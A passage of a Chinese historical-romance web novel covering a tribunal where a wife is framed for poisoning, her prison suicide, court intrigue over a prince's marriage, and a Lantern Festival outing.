文毓瑾垂袖而立,语气恭谨:“学生惭愧,治家不严,致使内宅不宁,惊动三司会审,实乃学生之过。” 话音落下,他微微停顿,堂上鸦雀无声。 文毓瑾声音低缓,继续道:“家中养女周氏,姿容艳美,更难得性情温婉,自幼便得祖母偏爱,祖母常当着众人夸赞,说周氏品貌出众,要为她寻个好归宿,后来更是明言,要让学生纳周氏为妾。” 他抬眼望向堂上三位主审,神色恳切:“康氏自入门后,见周氏容貌出众,又得祖母如此宠爱,早已心生不满,得知祖母有意让学生纳周氏为妾,更是妒火中烧,愤恨难平。” 文毓瑾适时停顿,面露痛色:“学生记得,康氏曾多次哭闹,说若周氏入门,她这正室怕是再无立足之地,谁料她竟因妒生恨,对祖母下了毒手,祖母头七未过,她便迫不及待地将周氏发卖至京城最下等的青楼,事后更是在市井间散布谣言,污蔑周氏是狐媚子。” 刑部尚书皱眉,沉声追问:“这些事,你当时可知情?” 文毓瑾垂首,袖袂掩去半张脸,声音里满是悔恨:“学生当时忙于公务,只知周氏突然失踪,后来听闻街巷流言,还以为是周氏自甘堕落,如今想来,实在是学生疏忽” 书记官笔锋疾走,将文毓瑾所言的每一字都详细记录在案。 “你撒谎!”康婧瑶突然从被告席上扑来,囚衣凌乱,双目赤红:“分明是你!” 两个衙役立即上前按住她的肩膀,将她死死按在栏杆上,康婧瑶奋力挣扎,发髻散乱,嘶声道:“那日分明是你!” “堵住她的嘴!”刑部尚书厉声喝道。 一块麻布粗暴塞进康婧瑶口中,她只能发出呜呜的声响。 她目眦欲裂地瞪着文毓瑾,恨不能将文毓瑾撕成碎片。 文毓瑾依旧垂手静立,素白袍角纹丝不动,眉目低垂,仿佛身旁的怒吼与挣扎皆与他无关。 他声线低了一分,似含悔意:“至于祖母之事学生实在不知康氏竟敢下毒,若早知如此” 他适时停住,未尽之言在堂上回荡,康婧瑶猛地抬头,眼中尽是血丝。 “肃静!”刑部尚书重重拍下惊堂木。 衙役上前,再度扣住康婧瑶的肩膀,把她死死按回木栅。 她仍然拼命挣扎着,却于乱发间瞥见坐在旁听席角落的父亲康敏之微微摇头,那个动作很轻,让她瞬间僵在原地。 就在这片刻寂静中,文毓瑾忽然撩起衣摆,朝着三位主审官深深一揖。 他的声音比方才更低了几分:“学生…还有一事要禀明,此事关乎北狄秘药来源,学生思虑再三,不敢隐瞒。” 三位主审交换了眼神,刑部尚书沉声道:“讲。” 文毓瑾从袖中取出一份文书,双手奉上,衙役转呈堂案:“济慈堂案发前,其堂主孙老五便已潜逃,此人嗜赌成性,在青州因欠下赌债被扣,恰被学生派去青州寻访笔墨纸砚的伙计认出,学生已请 青州府衙协助,将此人押解进京,昨夜刚到,现就在衙外候传。” 堂上一片窃窃私语,左都御史放下茶盏:“文状元倒是心思缜密。” 这话说得平淡,却让文毓瑾将腰弯得更低:“学生不敢,只是想着此案关乎祖母冤屈,但凡有一线线索,都不敢放过。” 刑部尚书沉吟片刻:“传孙老五。” 沉重的镣铐声由远及近,不过几日,孙老五整个人都脱了形,囚衣空荡荡挂在身上,眼底一片青黑,他被按跪在堂前,浑身抖如同筛糠。 刑部尚书翻看着刚呈上的文书,抬眼冷喝:“孙老五,将你所知之事,从实招来。” 孙老五伏在地上,声音抖得断断续续:“小的…小的原是济慈堂堂主,因…因贪图钱财,三年前结识了北狄来的大巫医,他给小的逍遥散,让小的在京城暗中售卖” 他咽了口唾沫,偷眼看了看堂上官员的脸色,才继续道:“那大巫医同小的说,这北狄逍遥散无色无味,入水即融,少量令人神智昏聩,产生幻觉,中量可致人长睡不醒,若剂量足够,半个时辰内便能悄无声息取人性命。” 书记官的笔在纸上沙沙作响,记录着每一句供词。 孙老五的声音越来越低:“小的…小的因为暗中在济慈堂里做勾栏的生意,便想进些逍遥散,控制住堂里姿色上乘的姑娘,给她们灌下少量,致使神智昏沉,任听摆布…也好逼她们接客…” 刑部尚书沉声道:“继续说。” 孙老五的额头渗出冷汗,“后来…后来文夫人身边的李嬷嬷来找小的,说要买能让人长睡不醒的药,小的当时不知她是要害文老夫人,就…就卖给了她。” 康婧瑶在被告席上猛地睁大双眼,喉咙里发出急促的呜呜声,她被麻布堵住的嘴艰难地张合着,整个人向前倾,手腕在镣铐中剧烈扭动,勒出一道道红痕。 她死死盯着孙老五,眼中尽是血丝,被缚的双手绷得青筋暴起,整个人激动得直打颤,泪水混着汗水往下淌,脸扭曲得变了形,却只能在麻布下发出呜呜闷声。 刑部尚书皱眉喝道:“肃静!” 衙役立刻上前,按住康婧瑶的肩膀,将她死死压回座位。 她仍在拼命挣扎,却发不出半点声音,所有的辩白都被那块麻布死死堵在喉咙里,只剩一双布满血丝的眼睛,盛满绝望与怒火。 孙老五伏在地上连连磕头:“小的不敢撒谎,那嬷嬷每次来都戴着帷帽,但有一次帷帽被风吹起,小的亲眼看见她嘴角有颗痣,右耳垂还有道疤,后来小的特意打听过,那是康夫人从娘家带来的陪嫁嬷嬷。” 文毓瑾适时上前一步,躬身道:“学生可以作证,是府上李嬷嬷,却有此人。” 康婧瑶死死盯着文毓瑾,眼中几乎要滴出血来。 刑部尚书与身旁二人低声商议,左都御史捻着胡须,目光在康婧瑶与文毓瑾之间来回扫视,最终微微地点头示意,大理寺卿则始终盯着案上卷宗,直到刑部尚书轻叩桌面,他才抬起眼,淡淡道:“人证物证俱全,程序上并无不妥。” “将孙老五带下画押。”刑部尚书挥了挥手,待孙老五被拖离后,他目光转向康婧瑶,语气冰冷:“康氏,你还有何话说?” 康婧瑶猛地抬起头,被麻布堵住的嘴发出急促的呜呜声,她双目赤红,死死盯着文毓瑾,被镣铐锁住的手腕剧烈颤抖,木栏在她的撞击下嗡嗡颤抖。 她忽然低低笑了起来,那笑声从被堵住的喉咙里挤出来,扭曲而压抑,在肃穆的公堂上回荡,令人毛骨悚然。 笑着笑着,她的肩头开始剧烈抖动,泪水无声地从眼角滑落,在苍白的脸上冲出两道湿痕。 刑部尚书皱眉看了一眼,不再多问,直接提笔在卷宗上批注数行。 她终于明白,从她嫁入文家的那一天起,就已经落入了一个精心编织的罗网,而现在,她成了那个被抛弃的棋子。 她被抛出来顶罪,连辩白的机会都没有。 书记官将供词呈上,刑部尚书提笔在卷宗上批注数行。 惊堂木落下:“今日审讯到此,人证物证俱在,康氏判死刑,退堂!” 康婧瑶被麻布堵着嘴,喉间发出绝望的呜咽,她拼命扭动身子,囚服在挣扎中扯开了一道口子,泪水顺着脸颊滑落,浸湿了塞口的麻布,只换来堂上众人更多厌弃的目光。 文毓瑾从容整了整衣袖,朝三位主审躬身行礼,转身时,他的目光掠过康婧瑶泪痕斑驳的脸,脚步未有丝毫停留。 衙役粗暴地架起康婧瑶,将她往堂下拖去,她的绣鞋在石板上磨出刺耳的声响,散乱的发丝黏在泪湿的脸颊上。 经过旁听席时,她看见父亲康敏之缓缓起身,拂了拂衣袍上并不存在的灰尘,转身走向门外,那个背影决绝得没有半分犹豫。 第52章 皇城内, 乾清宫。 三司会审后,刑部定案的奏疏已呈进司礼监。 与此同时,一份来自首辅康敏之的请罪疏, 也静静地摆在了泰和帝朱弘睿的御案上。 疏文用词恳切, 字字沉痛。 “臣敏之顿首泣血以闻:臣女婧瑶, 孽根祸胎,性禀妒恶,在室时臣疏于管教,既嫁后未能规训,致其犯下戕害尊亲,毒杀婆母之十恶重罪,此皆臣为父失教, 为臣不忠之大过。臣每思之,五内崩摧, 无颜立于朝堂之上, 臣女之罪,实由臣始,臣恳请陛下, 允臣卸职还乡,闭门思过, 一则正朝纲,以儆效尤, 二则全臣名节,免使天下人讥臣以裙带窃居高位。” 朱弘睿将疏文掷在案上, 心里微有怒气,看向侍立一旁的司礼监掌印太监魏琰:“大伴对此事怎么看?” 魏琰本就微躬的身子又低了几寸。 他双手拢在袖中,脚步轻移上前, 并不直接去拾那奏疏,而是小心翼翼地将皇帝手边凉了的茶盏撤下,换上一盏新沏的龙团。 他声音压得极低,恭顺得恰到好处:“老奴愚见,康阁老这封请罪疏,写得情真意切。” 说罢,他这才伸出枯瘦的手指,轻轻拾起那封奏疏,展开时,他动作极轻,似怕一口气重了,都会惊动纸上的墨意。 他指尖虚点在卸职还乡四字上:“陛下您看,康阁老这是以退为进啊。” 他抬眼看了看朱弘睿的神色,小心谨慎,语气愈发恭顺:“如今朝中正是用人之际,北狄近来频频骚扰边境,辽东军饷尚未筹措妥当,江南漕运又到了清淤时节,这些事,处处要用银子,康阁老若此时抽身,恐叫百官失了主心骨。” 朱弘睿冷哼一声:“朕看他就是算准了这一点。” 魏琰低眉,将奏疏稳稳放回案上:“陛下圣明,康阁老根深十余载,门生故旧遍布六部,此时若准他告老还乡,只怕朝局动荡,反倒不美,不如顺水推舟,既全了他的体面,也稳住朝堂。” 次日早朝,康敏之的疏文由司礼监随堂太监当众宣读。 满朝寂静。 朱弘睿将疏文轻轻放下,目光扫过丹陛下的康敏之。 老首辅今日特意穿了一身半旧的绯袍,躬身立于在百官前列,佝偻的姿态像一张拉满的弓弦。 皇帝的声音在大殿里回荡:“康卿,此疏,朕不准。” 康敏之伏地叩首,肩头微颤,花白的发丝从乌纱帽边缘露出,声音哽咽:“陛下!臣教女无方,罪责深重,恳请陛下成全!” 就在此时,都察院左副都御史王珩出列,高声道:“陛下!臣以为,康大人乃国之柱石,岂可因内宅不肖女而轻弃?若因此事罢黜首辅,恐寒天下士子之心!” 他话音未落,翰林院,六科廊的年轻官员们已齐刷刷跪倒一片。 “陛下!康大人秉国十余载,夙夜在公!岂可因家事累及国事!” “《礼记》有云,刑不上大夫,康大人纵有失察之过,亦罪不至此!” “请陛下开恩!” 声浪一阵高过一阵,朱弘睿看着大殿下跪倒的官员们,眼风扫过停留片刻,最终落回康敏之身上。 “都听见了?”朱弘睿开口,语气淡漠: “康卿,朕若准了你,只怕明日,天下读书人的唾沫星子,就要淹了朕的乾清宫。” 他顿了顿,语气转为沉缓:“你教女不善,确有失察之过,罚俸一年,以示惩戒,至于告老还乡…” 皇帝随手将那封奏疏递与身旁的司礼监掌印太监魏琰,眸光冷冽: “此事,休要再提。” 魏琰躬身接过,尖细的嗓音传满金殿:“陛下有旨,首辅康敏之,罚俸一年,仍原职视事,退朝…” 百官山呼万岁。 康敏之这才缓缓抬头,老泪纵横,朝着御座重重叩了三个响头,被两名门生一左一右搀起,仍颤巍巍地立在丹陛之下,待百官鱼贯出殿后,他才拖着半旧绯袍,缓步离去。 ———— 朝堂上的这场闹剧,当天下午便由长安一字不差地禀到了朱弘毅的书房。 周妙雅正侍立案侧,为他研墨。 她听到这消息,一时恍惚,手腕蓦地一颤,竟未察觉一滴浓墨坠下,在宣纸上晕成漆黑一团污迹。 “他竟…”她声音有些发涩,后面如此薄情四个字,竟一时说不出口,那毕竟是他亲生女儿。 朱弘毅挥手让长安退下,书房内只余他二人,他看着周妙雅失神的样子,缓声道:“康敏之宠妾灭妻多年,康婧瑶虽是嫡女,却随母失宠,自幼形如隐形。当年康敏之将她嫁入文家,不过看中的是文家天下文脉的清誉,如今东窗事发,如今事发,再推她出来顶罪,既全了大义灭亲的名声,又保住了相位,在他眼中,不过是物尽其用罢了。” 周妙雅缓缓放下墨锭,指尖沾了些许墨痕,她想起康婧瑶在新婚夜独守空房的难堪,想起她在赏花宴上强撑的体面,复而轻声道:“原来如此,难怪她那般执着于正室之位,那般容不得旁人” “虎毒尚不食子。”她最终只低声说了这一句,心底却泛起一股深切的寒意。 这寒意并非是为康婧瑶,而是为这吃人的世道,父女,夫妻,兄妹…种种人伦温情,在权势利益面前,竟都薄如蝉翼。 朱弘毅走到她身边,并未出言安慰,只是将她冰凉的手指拢入掌心。 他的手掌宽厚而温暖,将她颤抖的指尖完全包裹住,一股沉稳的热意顺着相贴的肌肤缓缓传来。 “觉得心寒?”他低声问。 周妙雅抬眼,望进他沉静的双眸。 那里没有悲悯,只有一种见惯后的淡然。 他自小长于宫廷,龌龊与薄情自是比她见得更多。 她轻轻摇了摇头:“只是觉得,这世间,能信能靠的,太少。” 朱弘毅凝视着她,目光深沉,他握着她的手复又紧了紧,力道坚定而温暖: “所以,抓住了,就别放手。” 周妙雅感受着他掌心传来的温度,轻轻颔首:“我明白。” 可眉心仍蹙,心中疑惑仍未解:“只是…此案被如此轻易地定性为内宅争风,康婧瑶一人担下所有罪责,这背后定有高人指点布局,她终究只是被弃在祭坛上的那枚棋子。” 她抬起眼,目光中带着一丝困惑:“真正可怕的,是那个与北狄勾结,在幕后操控一切棋局的人,是康敏之…还是另有其人?” 她复又摇了摇头,语气带着几分不确定:“我看不清。” 朱弘毅轻轻摩挲着她的手背,声音沉稳:“棋盘才刚刚展开,不必急于一时,既然对方已经落子,我们静观其变便是。” 他望向窗外渐沉的暮色,目光深远:“这潭水既然已经搅浑了,藏在底下的东西,早晚都会浮上来。” ———— 次日清晨,周妙雅提着一只食盒,站在了刑部大牢外。 青石砌的牢门阴湿厚重,上面布满了深褐色的污迹。 狱卒验过宁王府的腰牌,这才吱呀呀推开牢门。 老狱卒提着明角灯在前面引路,时不时回头叮嘱着:“姑娘小心脚下,里头湿气重。” 甬道狭长,两侧牢房里偶尔传来铁链拖地的声响,走到最里间,狱卒开了锁,把灯挂在壁钩上:“死牢就这儿了,姑娘有事便喊一声。” 周妙雅颔首,递过一块碎银。 康婧瑶蜷在角落的草席上,囚服污浊,发髻散乱,听见动静,她缓缓抬头。 “是你。”她声音嘶哑,嘴角却扯出个古怪的笑。 周妙雅没有答话,只是将食盒放在地上,掀开盖子,取出几样小菜,一壶温酒,摆在她面前。 康婧瑶盯着那些精致的瓷碟,喉间发出嘶哑的冷笑:“何必装模作样,小贱人,专程来看我笑话?” 周妙雅面色平静,执壶斟酒,沿着冰冷的地面将玉盏推至铁栏内:“来看看你。” 康婧瑶盯着那杯酒,忽然低笑起来:“你知道吗?三司会审那日,我爹就坐在堂下。” 她伸手端起酒杯,指尖微微发抖:“我看着他,多希望他能看我一眼,可自始至终,他的目光都在文毓瑾身上。” 酒液入喉,她呛得咳嗽起来。 她抬手抹去嘴角酒渍,指尖沾了泪:“自小便是这般,我娘不得宠,我便跟着成了碍眼的东西。后来我娘死了,他看我的眼神,就像看一件想扔却又舍不得扔的旧物。” 周妙雅静静听着,又给她斟了一杯。 康婧瑶眼神渐渐涣散:“所以我发誓,一定要做最得宠的那个,我要让所有人都知道,我才是文家名正言顺的主母” 她忽然抬头,死死盯住周妙雅,浑浊的眼底爆出最后一丝恶毒:“可为什么文家偏偏会有你的存在?你这个下贱的狐媚子,他对你始终色心不改,新婚夜抛下我去找你,书房里藏满你的画,就连现在现在他都还念着你。” 话音戛然而止,她猛地把酒杯掷在地上,瓷片四溅。 她踉跄起身,扑到铁栏前:“你以为你赢了?告诉你,没有赢家!我们都只是棋子!” 周妙雅不动声色:“谁的棋子?” 康婧瑶仰头狂笑,笑声在牢房中回荡:“你根本想不到那北狄秘药,那济慈堂都只是冰山一角” 她突然压低声音,凑近铁栏:“他们想要的,远不止这些,你在明处,他们在暗处迟早有一天” 话音未落,她猛地咬紧牙关。 周妙雅瞳孔骤缩:“拦住她!” 狱卒急忙跑了过来,可为时已晚。 鲜血从康婧瑶嘴角涌出,她死死抓着铁栏,身体剧烈抽搐,那双曾经盛满嫉妒与傲慢的眼睛,此刻只剩下无尽的悔恨与不甘。 周妙雅站在原地,看着狱卒慌乱地打开牢门,食盒打翻在地,酒菜混着血迹,在阴湿的地面上蔓延开来。 老狱卒探了探鼻息,摇头道:“咬舌了,没救,死囚犯人畏罪自尽。” 周妙雅最后看了一眼那个曾骄纵到不可一世的康家大小姐,转身走出了牢房。 甬道尽头的天光刺得她眯起双眼,她抬手遮了遮,指尖还在微微发抖。 谁的棋子? 到底谁,是谁的棋子?—— 作者有话说:明天是谈恋爱情节,之后开始打下个副本! 第53章 周妙雅从刑部大牢回来后, 一连两日都吃得极少。 她惯常坐在窗下出神,指尖一圈圈摩挲着杯口,茶凉了也不曾察觉。 康婧瑶临死前那双盈满绝望的眼睛, 还有那句我们都只是棋子, 总在不经意间撞入她的脑海。 “棋子…” 她低低地重复着这两个字, 指尖在案几上无意识地划动,留下一道道浅得几乎看不见的水痕。 这棋盘到底有多大?执棋之手,又藏在哪片云雾后? 这日晚膳,她只动了几筷子便搁下了。 朱弘毅放下银箸,目光在她略显苍白的脸上停留了片刻。 “长安,”他低声吩咐:“去把 炭火拨旺些。” 待长安退下,他才开口:“逝者已矣, 有些事,钻得太深反而伤神。” 周妙雅回过神, 唇角勉强勾起一点笑:“我明白, 只是…忍不住去想。” 她顿了顿,抬眼看他:“康婧瑶到死,已认定自己是枚弃子, 若连她都是弃子,那执棋之人, 所图为何?” 朱弘毅没有立刻回答,他执起茶壶, 为她续了半杯热茶,白雾在两人之间袅袅升起。 他放下茶壶, 待雾气稍散,才缓声道:“下棋之人既已弃子,便是要暂保棋盘, 我们若一味盯着那枚废子,反倒会错过棋局真正的动向。” 他见她眉间忧色未散,话锋不着痕迹地一转:“对了,不日京城的灯市便要开市了,今年由宫中督办,规模胜于往年。” 周妙雅微微一怔,指尖停在杯沿,抬眼望他。 朱弘毅看着她,语气如常:“你入京至今,还没好好看过京城的灯火,灯市那夜,我带你去走走。” 这话说得寻常,淡得像随口提起,却让周妙雅心头那根紧绷的弦,几近自然地松了几分。 她沉默片刻,终是轻轻点了点头:“好。” ———— 正月十五,寅时刚过,宁王府便已灯火通明。 朱弘毅立于镜前,由长安及两名内侍伺候,一层层穿上亲王吉服。 他先着白纱中单,再披上赤色绛纱袍,革带,大带,蔽膝依次束好,最后悬上成组的玉佩与硕大的绶带。 长安小心翼翼地将皮弁冠为他戴上,九缝皮弁,每缝缀着五彩玉珠九颗,庄重威仪。 周妙雅捧着茶盏,在外间候着,听得内室动静,方知他穿戴已毕,这才垂目进去。 朱弘毅转过身来,这一身赤色吉服衬得他面容愈发肃穆,与平日里闲散的模样判若两人。 他见她进来,目光落在她身上,停了一瞬,声音比平日里更沉了几分:“今日宫中赐宴,午时开席,礼数冗长,怕是要申时方能返回。” 周妙雅将茶盏轻放在他手边案上,目光快速掠过他这一身仅在元旦,冬至,上元三大节才穿的皮弁服。 她抬起手,指尖轻轻落到他肩头,替他抚平了一处细微的褶皱。 她知道这上元节宴的规矩:奉天殿开宴,光禄寺办膳,礼部监礼,亲王百官都要列席。 “王爷且安心赴宴。”她退后半步,仔细端详他这一身装束是否妥帖。 朱弘毅看着她低垂的眉眼,柔声道:“灯市酉时开市,我赶得及。” 这话虽平淡,却是在给她一个承诺。 周妙雅心头微暖,轻轻嗯了一声。 辰时二刻,宁王府的仪仗便出了门。 周妙雅站在廊下,望着车队消失在长街尽头。 她回到暖阁,本想继续临摹赵孟頫的心经,笔提起,却迟迟落不下去。 康婧瑶临死前扭曲的面容,还有那句棋子,又在眼前晃动。 她放下笔,走到窗边。 庭院寂静,只偶尔听见树枝上的积雪坠落的声音。 这半日忽然变得格外漫长。 青黛端来茶点,见她倚窗而立,轻声劝道:“姑娘且用些点心吧,王爷既说了酉时回来,定会赶回来的。” 周妙雅回头,勉强笑了笑:“我知道。” 她拈起一块茯苓糕,却只轻轻掰下一小块,在指尖慢慢捻着,久未送入口中。 朱弘毅的仪仗至午门外便停住,他下了暖轿,独自穿过宫门,径直往乾清宫而去。 乾清宫内,炭火烧得正旺。 泰和帝朱弘睿已穿戴整齐,一身十二章纹的赤色衮服,正由宫人整理腰间的玉革带。 皇后顾云舒立在半步之外,身着深青翟衣,头戴九龙四凤冠,妆容精致得一丝不苟。 司礼监掌印太监魏琰垂手侍立在帝后身后,像一道无声的影子。 朱弘毅步入殿内,目光快速扫过,帝后二人虽并肩而立,中间却似隔着无形的壁障。 自皇兄登基后,尤其是皇后幼子夭折,被太医断定再难有孕后,这般夫妻和睦,琴瑟和鸣的景象,已越来越少见。 “臣弟参见皇上,皇后娘娘。”他依制躬身,声音稳缓,打破殿中沉寂。 泰和帝转过头,脸上是惯常的温和笑意:“弟弟来了,今日这身吉服穿着,倒是精神。” 朱弘毅恭谨回礼:“皇兄谬赞,前日差人送来的那方歙砚,皇兄用着可还顺手?” 泰和帝眼底笑意深了几分,语气松快:“正想与你细说,那砚墨色沉静,发墨如油,确是上品,难为你总惦记着朕的这些笔墨小事。” 朱弘毅从袖中取出一方小小的锦盒,双手奉上:“臣弟前日在琉璃厂闲逛,偶得前朝画圣的《雪竹图》残卷,虽只余半幅,但笔意犹存。” 泰和帝接过锦盒,指尖在盒面上轻轻摩挲,忽然叹道:“朕还记得小时候,你为了摘太液池边的野柿子,从假山上摔下来,磕破了额头,如今倒好,只拿这些风雅物什来搪塞朕。” 朱弘毅垂眸一笑:“那时年幼,顽皮不懂事,让皇兄见笑了。” 泰和帝摇头,语气中带着几分怀念:“不懂事?朕倒宁愿你还是那个会爬树掏鸟蛋的小毛头,如今你见朕,开口闭口都是臣弟,连陪朕下盘棋都要推三阻四。” 朱弘毅垂眸恭听,目光却不动声色地扫过侍立在一旁、低眉顺目的魏琰。 泰和帝将锦盒递给魏琰,叹道:“你倒是清闲,朕整日对着奏折,你倒好,逛琉璃厂,淘古玩,前日内阁还在议辽东军饷的事,你若是闲来无事” 朱弘毅连忙摆手,笑道:“皇兄快别打趣臣弟了,那些军国大事,听着就头疼,臣弟宁可多逛几次琉璃厂,好歹能淘到些真东西,前儿还得了一包异域香种,说是能养在暖阁里,冬日里开花。” 泰和帝看着他,忽然道:“记得小时候,你总缠着朕去西苑摸鱼,如今朕想召你进宫说说话,你倒好,十次有八次推说身子不适。” 朱弘毅躬身:“臣弟惶恐” 泰和帝打断他:“什么臣弟不臣弟的,这里又没有外人…惶恐?朕看你胆子大得很,西山围猎,一年只一次,你肯随行,还不是为了给个女子讨封赏?” 说到这里,泰和帝像是忽然想起什么,语气随意地问道:“说起来,你府上至今连个侧妃都没有,朕记得你与皇后弟弟年岁相仿,前日顾夫人进宫探望皇后,还问起过你。” 朱弘毅神色不变,含笑拱手:“臣弟这般闲散性子,只怕耽误了人家姑娘,况且” 他抬眼,笑意洒脱:“若真成了家,今日淘古玩,明日品美酒,后日西山赏雪,皆要报备,岂不处处受缚?” “这是什么话?”泰和帝看着他,语气温和却带着兄长的严厉: “这次选秀,朕看过了名册,有几个品貌出众的,你年纪不小了,也该定下来了。” 朱弘毅低眉顺目,语气恭敬:“皇兄日理万机,还要为臣弟操心这些琐事,臣弟心中难安。” 泰和帝抬手止住他:“这怎么是琐事?你是朕唯一的弟弟,你的婚事朕不上心,叫谁上心?光禄寺卿家的三姑娘,朕瞧着便极好,性子温婉,也读过书。” 朱弘毅微微躬身:“皇兄明鉴,臣弟散漫成性,不是逛琉璃厂就是泡茶听曲,哪配得起名门闺秀?若硬娶位王妃,岂不叫人家跟着受委屈。” 泰和帝目光微沉,语气仍缓,却透出帝王威压:“既如此,你想要什么样的?选秀名册就在朕案头,你今日自己挑一个。” 朱弘毅抬头,露出几分无奈的笑意:“皇兄知道的,臣弟就喜欢自在,若是找个整日管着臣弟的王妃,怕是连去西山赏雪都要被念叨了。” 他顿了顿,又笑着补了一句:“再者,成了亲后,皇兄若召臣弟下棋,臣弟还得先请示王妃,岂不累赘?” 泰和帝被他这话逗得摇头失笑:“你啊还是这般任性。” 魏琰审时夺 度,适时上前:“陛下,百官已在奉天殿外候着了。” 泰和帝深深看了朱弘毅一眼,终是转身:“罢了,随你吧。” 朱弘毅望着皇兄的背影,长舒了一口气,又一次,让他混了过去… ———— 申时末,奉天殿的赐宴终于散了。 朱弘毅的仪仗候在午门外,长安正跺脚取暖,忽见一个穿着青贴里袍的太监从角门出来。 “长安!”那太监远远就招手,脸上堆着笑。 长安定睛一看,也笑了:“来福,你怎么跑这儿来了?” 这来福原是朱弘毅还在宫中居住时,身边伺候的太监,那时朱弘毅尚未封王建府,来福就跟在身边,最是机灵不过。后来朱弘毅出宫开府,按规矩不能把宫里的人带出去,来福便被魏琰看中,收作干儿子,留在宫里当差,因他养的一手好猫,魏琰便留他专在御猫苑帮皇帝侍奉狸奴。 来福小跑着过来,呵出一团白气:“干爹让我去城门外取点给猫用的东西,这不,刚出宫门,远远瞧见您,便顺脚过来了。” 他探头往长安身后张望,压低声音:“王爷…可还安好?” “王爷一切都好。”长安笑答,抬手替他拂去肩头雪粒。 来福点点头,搓着手道:“方才在殿外伺候,听干爹说,今年选秀贵女的名册都呈给陛下了。” 他复又凑近些,压低声音道:“陛下近日总是问起王爷的婚事,说是要给王爷寻个知冷知热的” 长安脸上的笑容骤然便淡,正要说话,就听见身后传来脚步声。 朱弘毅在一众官员的簇拥下走出午门,来福慌忙退到一旁,垂首肃立。 “王爷。”长安快步迎上前。 朱弘毅目光扫过来福,脚步微顿:“来福?” 来福扑通跪下:“奴才给王爷请安。” 朱弘毅淡淡道:“起来吧,在魏公公手下当差,可还顺心?” 来福诺诺起身,仍是躬着腰:“托王爷的福,干爹待奴才极好。” 朱弘毅看了眼天色:“时辰不早了,回去吧。” 仪仗缓缓启程,车轮轧过路面,发出匀缓而悠长的声响。 长安跟在马车旁,脑子里却总回荡着来福方才的话,他张了几次嘴,又把话咽了回去。 上次多嘴周姑娘的事,被罚去扫了三天马厩,那股味儿现在想起来还犯恶心。 正踌躇间,车帘忽被掀开一角。 “来福方才跟你说了什么?”朱弘毅的声音从马车内传来。 长安一个激灵,差点咬到舌头:“没、没说什么” “讲。” 长安缩了缩脖子,支支吾吾道:“王爷,小的有句话不知当不当问” “讲。” “既然万岁提起选妃之事王爷为何不趁机顺水推舟,求了周姑娘?” 车帘猛地被掀开,朱弘毅冷冷瞪了他一眼:“再多嘴,就不是扫马厩这么简单了。” 长安赶紧闭嘴,把头埋得低低的。 车帘落下,朱弘毅的声音隔了片刻才传来,比方才低沉许多:“现在跟皇兄提及此事,只会害了她性命。” 长安怔了怔,后背沁出一层冷汗,他再不敢多言,只默默跟着仪仗,听着车轮声在暮色中回荡—— 作者有话说:汉服癖犯了,有时候就想把衣服写对[坏笑] 第54章 酉时初, 天色已暗,宁王府门前灯笼高挂。 朱弘毅的仪仗刚在府门前停稳,他便疾步下车去更衣。 更衣过后, 他快步穿过庭院, 往暖阁走去。 周妙雅在暖阁中静静等候, 听着外头传来的动静,便知道是他回来了。 她起身,轻轻整理了一下衣裙。 暖阁的门被缓缓推开,朱弘毅迈步进来。 “等久了罢?”他话音未落,抬头看见窗边的人,忽然顿住了。 周妙雅闻声起身,她穿着白绫袄, 蓝缎裙,那裙襕上的织金纹样, 绣满了一盏盏精巧的宫灯, 烛光一照,随着她起身的动作,裙摆微漾, 便漾开一片流光溢彩。 她本就生得极好,眉不画而黛, 唇不点而朱,耳上坠着两个小巧玲珑的金葫芦耳坠, 随着她的起身轻轻晃动,映衬着那张清丽的脸, 竟有一种惊心动魄的美。 朱弘毅一时竟忘了言语,只怔怔地看着她。 恍惚间,他仿佛又回到了那个雪霁初晴的午后。 暖阁的窗棂半掩, 她大病初醒,素衣单薄,脸色苍白得像个纸人。 她就坐在窗棂下,握着一支画笔,对着院中那株怒放的古腊梅出神。 他随皇兄狩猎归来,路过暖阁,不经意地一瞥… 素衣少女恰在此时抬头,两道视线隔着覆雪的庭院猝然相撞,风雪中,彼此眼中都映着对方始料未及的身影。 那时她眼中带着初醒的迷茫与惊怯,像只受惊的小鹿。 而此刻—— 眼前的女子明眸善睐,华服璀璨,哪里还有半分当初的病弱,唯有那双眼睛,依旧清澈如初,此刻正带着些许疑惑望着他。 “王爷?”周妙雅轻声唤道。 朱弘毅这才回过神来,暗恼自己又失态,他轻咳了一声,目光却仍舍不得从她身上移开。 他顿了顿,却掩不住眸里的亮色:“这身衣裳…很适合你。” 周妙雅微微垂首,耳畔的金葫芦轻轻晃动,映出点点柔光:“青黛说,既是看灯,总要应景些。” 朱弘毅唇角扬起:“走吧,带你去看看京城的灯市。” 二人登上马车,从宁王府出来,不过一刻钟便到东安门外的灯市口。 沿着灯市缓步前行,整条街巷被各式花灯照得亮如白昼,万盏争辉。 各色的花灯争奇斗艳,纱灯朦胧,走马灯流转着八仙过海的影儿,五色明角灯晶莹剔透,更有冰灯百彩,浇水成之,通体透明如水晶。 忽然一阵哨响,焰火腾空:水浇莲,一丈菊,银瀑倒悬,照得人面如雪,当真火树银花不夜天。 街心传来太平鼓声,如雷贯耳,间杂着舞龙灯的吆喝声,踩高跷的欢笑声。 朱弘毅伸手,轻轻拉住她,柔声道:“别跟丢了。” 少女回眸,灯影映得她眉目如画,嫣然一笑,把指尖放进他温热的掌心,轻轻点头:“好。” 行至午门外,周妙雅远远就顿住了脚步,她指着眼前不远处高耸入云的璀璨灯火,语气微微有些激动:“那便是鳌山灯吧,真的好生壮观!” 只见眼前矗立着一座巍峨的鳌山灯,竟是用上千盏彩灯扎成一座玲珑宝塔的模样,塔身共分九层,每层都缀着不同颜色的灯笼,最顶上还悬着一盏巨大的明珠灯,将整座宝塔照得通明,灯架间巧妙地布置着纸扎的亭台楼阁,无数会转动的小仙人,正在阁楼间往来穿梭。 朱弘毅立在她身侧,温言解释:“这鳌山灯是京城独一份的,每年都由宫里的匠人精心扎制,别处见不着这样的手艺。” 周妙雅仰首望去,眸中倒映千盏光华,亮若碎星:“在苏州时,从未见过这般盛景。” 朱弘毅看着她欣喜的侧颜,连日来积压在心头的阴霾不觉散去了几分,他注意到她微微仰起的脖颈,那截白皙在灯下泛着温润的光泽。 “天子脚下,京城的上元灯会,自有其独特之处。”他语声温缓,目光却未离她分毫。 两人随着人潮缓步前行,路过一个卖首饰的摊子,那摊主是个机灵的,见朱弘毅气度不凡,忙拿起一支花丝镶嵌的金簪招呼道:“公子给夫人买支簪子吧,您看这簪头的宫灯样式,正配夫人的织金蓝缎裙呢。” 周妙雅脸颊倏地飞红,她慌忙摆了摆手,轻声道:“我们不是” 